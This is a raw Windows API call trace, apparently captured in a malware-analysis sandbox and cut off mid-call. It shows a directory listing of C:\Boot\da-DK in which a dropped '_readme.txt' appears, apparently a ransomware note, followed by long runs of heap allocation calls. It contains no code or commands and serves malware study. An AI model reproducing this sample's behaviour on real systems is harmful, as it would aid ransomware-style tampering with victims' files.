FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.120] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.120] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.120] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.120] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a7f710, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.121] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a7f710, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.121] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.121] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.125] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.126] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.127] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.127] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.128] RtlAllocateHeap (HeapHandle=0x670000, 